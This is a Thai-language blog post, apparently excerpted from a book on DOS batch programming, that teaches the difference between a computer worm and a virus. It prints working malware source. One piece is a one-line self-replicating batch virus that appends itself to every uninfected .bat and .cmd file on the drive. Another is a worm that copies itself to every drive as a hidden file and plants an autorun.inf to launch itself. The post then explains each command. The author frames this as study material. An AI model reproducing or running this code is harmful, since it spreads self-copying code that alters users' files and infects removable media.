เอาล่ะ...มาถึงตอนนี้ก็พอจะรู้เกี่ยวกับคำสั่งที่จำเป็นหมดแล้ว...เหลือแต่การประยุกต์คำสั่งดอสทั้งหมดมาเขียนเป็นมัลแวร์ ซึ่งไม่มีใครสามารถบอกได้หลอกว่า หนอนของใครเจ๋ง หรือไวรัสของใครร้ายกาจ เพราะมันไม่ใช่วัตถุประสงค์ของหนังสือเล่มนี้... ผู้เขียน เผยแพร่คำสั่งเหล่านี้เพื่อให้พวกคุณเป็น นักทดลองที่รู้ทั้งวิธีการทำงานของมันและวิธีป้องกันมันอย่างเต็มตัวเพราะการศึกษาเครื่องมือฆ่าคน หรือ วิชาชีพบางวิชาชีพนั้น...ก็ต้องศึกษาทั้งที่ไปที่มาของการแก้ปัญหาทั้งสิ้น หากจะเป็นวิสัญญีแพทย์ชั้นหนึ่ง...ไม่จำเป็นต้องลงมือฆ่าคน...แต่ต้องเรียนรู้จากคนที่โดนฆ่าหรือตายไปแล้ว...เพื่อเข้าใจหลักการตายและหลักการรักษาและป้องกันอย่างดี เช่นกันครับ...หนอนคอมพิวเตอร์ที่ได้ยกตัวอย่างไปนั้น...ขอให้นึกซะว่า...เป็นครูใหญ่ของพวกคุณแล้วกัน
อาวุธอันร้ายกาจไม่ใช่หนอน...แต่เป็นไวรัส!
เอาล่ะ...คุณหลายคนอาจจะอ่านเนื้อหาตอนต้นซึ่งเป็นนิยามต่างๆ ทางคอมพิวเตอร์กันบ้างแล้ว...แต่ตอนนี้มาทำการแยกแยะกันด้วยรูปแบบของคำสั่งว่า..."อะไรกันคือหนอนคอมพิวเตอร์ และอะไรคือไวรัสคอมพิวเตอร์" เริ่มเลย...
%virus%@echo off&cd\&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f" )))
ตัวอย่างด้านบนนี้แหละ...คือคำสั่งอันร้ายกาจ หรือเรียกมันว่า "ไวรัสคอมพิวเตอร์" เพียงบรรทัดเดียวมันสามารถทำให้คุณทึ่งกับการทำงานของมัน เพราะอะไร...ทำให้มันมีอะไรที่พิเศษกว่าหนอนคอมพิวเตอร์คือ
1. มันสามารถแทรกคำสั่งไวรัสคอมพิวเตอร์ไปยังหนอนคอมพิวเตอร์ได้เสียด้วย (โอ้...เป็นปาราสิตที่อาศัยหนอนคอมพิวเตอร์เป็นพาหะนำโรคได้ด้วย)
2. มันสามารถติดเชื้อแฟ้มคำสั่งที่ไม่ใช้หนอนคอมพิวเตอร์ได้ด้วยตัวของมันเอง...ไม่พึ่งพาใคร...ส่งผลให้แฟ้มที่ติดไวรัสเป็นพาหะนำโรคอีกต่อหนึ่งและยังไม่สามารถกำจัดมันได้โดยง่าย...เพราะมันเป็นส่วนหนึ่งในคำสั่งเหล่านั้น
3. ไวรัสคอมพิวเตอร์ต้องใช้ทักษะทางคอมพิวเตอร์ที่สูงกว่าหนอนคอมพิวเตอร์ในด้านโครงสร้าง เพราะ "มันคือชุดคำสั่งที่สามารถจำลองชุดคำสั่งไวรัสไปยังเป้าหมายได้โดยไม่ส่งผลกระทบต่อเป้าหมายเพื่อฝั่งชุดคำสั่งนั้นและรอการแพร่เชื้อชุดคำสั่งนั้นต่อไป"
อธิบายกันให้กระจ่างอีกที...?
สมมุต ว่าเครื่องของคุณติดหนอนคอมพิวเตอร์ คือ 666.bat ในทุกๆ ไดร์ฟ แต่ถ้าเกิดมีไวรัสคอมพิวเตอร์ต่อไปนี้ติดเชื้อในเครื่องของคุณด้วยมันจะส่งผลให้แฟ้มคำสั่งของหนอนคอมพิวเตอร์ (666.bat) มีขนาดโตขึ้นตามขนาดของไวรัส เช่น
@echo off
if not "%1"=="" goto Interface
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
Start .
goto endbat
:Interface
type 666.bat >%1:666.bat
attrib +s +h +r %1:666.bat > nul
attrib -r -h -s %1:autorun.inf>nul
echo [autorun] > %1:autorun.inf
echo shellexecute=666.bat >>%1:autorun.inf
attrib +s +h +r %1:autorun.inf > nul
:endbat
%virus%@echo off&cd\&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f"))) 
ตัวหนังสือเข้ม คือคำสั่งไวรัสที่เพิ่มเข้ามาต่อท้ายคำสั่งของหนอนคอมพิวเตอร์ โดยที่ไวรัสในตัวอย่างนี้ทำงานแบบฉลาดพอที่จะรู้ว่า แฟ้มแบทช์ไฟล์ใด ที่ติดไวรัสแล้ว...หรือแฟ้มแบทช์ไฟล์ใดยังไม่มีการติดไวรัส เมื่อแฟ้มดังกล่าวติดไวรัสแล้ว...จะส่งผลให้...หนอนคอมพิวเตอร์ตัวนี้ไม่ว่าจะติดเชื้อในเครื่องคอมพิวเตอร์เครื่องใดๆ ก็ตามมันจะนำเชื้อไวรัสที่มันติดเชื้ออยู่ไปกับมันด้วย...ส่งผลให้ไวรัสคอมพิวเตอร์สามารถระบาดในทุกๆ เครื่อง...และทุกๆ แฟ้มที่เป็น แบทช์ไฟล์ในเครื่องของคุณ
(ไวรัสนี้ไม่สามารถทำงานใน DOS Mode รุ่นเก่าๆ อย่าง Windows Me ได้) ตัวอย่างนี้ก็มีข้อบกพร่อง อยู่ตรงที่ มันไม่สามารถทำงานใน DOS ระดับพื้นฐานได้ ถ้าหากว่ามันติดเชื้อในแฟ้ม AUTOEXEC.BAT ก็ไม่สามารถทำงานได้ เพราะ AUTOEXEC.BAT นั้นทำงานใน DOS Mode ขั้นพื้นฐานคำสั่งบางคำสั่งของมันไม่สามารถให้บริการบนโหมดนี้
มาแยกชิ้นส่วนของไวรัสเพื่อทำการศึกษากัน...
1. คำสั่ง cd (ออกไปยัง Root Directory) คำสั่งนี้เป็นคำสั่งพื้นฐานของดอสอยู่แล้วคงไม่ต้องอธิบายอะไรมาก ถ้าคุณใช้คำสั่ง CD WINDOWS หรือ CD "PROGRAM FILES" เพื่อเข้าไปยัง โฟลเดอร์ต่างๆ จนคุ้นเคย แต่บนวินโดวส์เอ็กซ์พี คำสั่ง CD W* ก็มีค่าเท่ากับ CD WINDOWS เหมือนกัน (เพียงแต่รูปแบบสั้นกว่า ด้วย White Card) และถอยขึ้นมายังรูทไดเร็คทอรี่ 1 ลำดับ ด้วยการ CD.. ซึ่งดูรูปแบบคำสั่งเพิ่มเติมด้วยคำสั่ง CD /?
2. คำสั่ง for /r %%ตัวแปร in (รายการ) do ทำคำสั่ง (สำหรับค้นหาแฟ้มในรายการเพื่อทำคำสั่ง) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไป โดยจะแตกต่างจากคำสั่ง FOR แบบธรรมดา ตรงที่มันมีเงื่อนไข /R ซึ่งเป็นเงื่อนไขที่บ่งบอกให้ตัวแปรที่กำหนดเก็บรายชื่อแฟ้มภายในซับโฟลเดอร์ที่ทำงานลงไปทุกตัว จึงทำให้การเขียนไวรัสเป็นไปโดยง่ายเพราะ แค่คำสั่งเดียวก็ลิสต์รายชื่อแฟ้มออกมาดีกว่าคำสั่ง DIR เสียอีก เช่น
@for /r %%f in (*.*) do echo %%f
:: แสดงรายชื่อทุกแฟ้มจากโฟลเดอร์ที่ทำงานลงไปยังซับโฟลเดอร์ทั้งหมด
3. คำสั่ง findstr "ข้อความ" แฟ้มข้อมูล (ค้นหาข้อความในแฟ้มข้อมูลที่กำหนด) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไปเช่นกัน แต่เดิม คำสั่ง FIND.EXE จะทำหน้าที่นี้อยู่ แต่ในวินโดวส์เอ็กซ์พีได้บรรจุคำสั่งนี้เป็นคำสั่งภายในแล้ว แต่รูปแบบการทำงานจะคล้ายคำสั่ง FIND.EXE ตัวเดิม ซึ่งแต่เดิมคำสั่ง FIND.EXE นั้นในภาษาแอสเซมบลีตอนท้ายคำสั่ง จะมีการเรียกใช้ฟังก์ชั่น
MOV AH,4CH ; เรียกฟักช์ชั่นคืนผลลัพธ์ไปยังดอสและจบการทำงาน
INT 21H ; อินเตอร์รัพต์ของดอสโปรเซส
คำสั่งนี้มีผลทำต่อการคำนวนของแบทซ์ไฟล์คือ IF ERRORLEVEL ค่าของ "AL" ในโปรแกรมที่จบการทำงาน
จะถูกส่งผ่านมาให้คำนวนต่อไป...ซึ่งทุกๆ คำสั่งของดอสนั้นมีทั้งสิ้น...เพียงแต่ไม่มีเอกสารเผยแพร่ออกมาให้เห็นกันเพราะบาง ERROR นั้น ถูกเก็บเป็นความลับของระบบปฏิบัติการ แต่นักเขียนโปรแกรมบางคน ก็ใช่รูปแบบการตัดสิ้นใจแบบง่าย เพื่อดูคำสั่งผิดพลาดนั้นได้ด้วยการไล่ดูทุกๆ ค่า หรือ แค่ดูว่า IF ERRORLEVEL 1 นั้นคือมีข้อผิดพลาดเกิดขึ้นแต่ไม่สนใจว่าผิดพลาดอะไร...
4. คำสั่ง if errorlevel หมายเลข ทำคำสั่ง (ถ้ามีข้อผิดพลาดในหมายเลขทำตามคำสั่งนั้น) คำสั่งนี้เป็นคำสั่งที่ทำให้ไวรัสฉลาดขึ้นอย่างมากคือ..."ถ้าเกิดข้อผิดพลาดใดๆ ในการค้นหาข้อความ (virus) ไม่พบ จะติดเชื้อแฟ้มนั้นทันที" ซึ่งเป็นการตัดสินใจที่ชาญฉลาด...เพราะจะทำให้ไวรัสไม่ถูกเขียนซ้ำไปซ้ำมาบนแฟ้มที่ติดเชื้อไวรัส ซึ่งผู้เขียน เอง ศึกษาคำสั่งนี้มานาน...และก็ใช่อย่างคล่องแคล้วในการเขียนโปรแกรมฆ่าไวรัส แต่สำหรับผู้อ่านที่เริ่มศึกษาคำสั่ง แบทช์ไฟล์ ต้องทบทวนคำสั่งนี้เพิ่มเติมใน IF /? ในดอส เพื่อดูรูปแบบของคำสั่งที่แน่นอนรวมทั้งคำสั่งการตัดสินใจในรูปแบบอื่นๆ เพื่อเสริมความเก่งกาจในประสบการณ์ด้านนี้ต่อไป

ไม่มีความคิดเห็น:

แสดงความคิดเห็น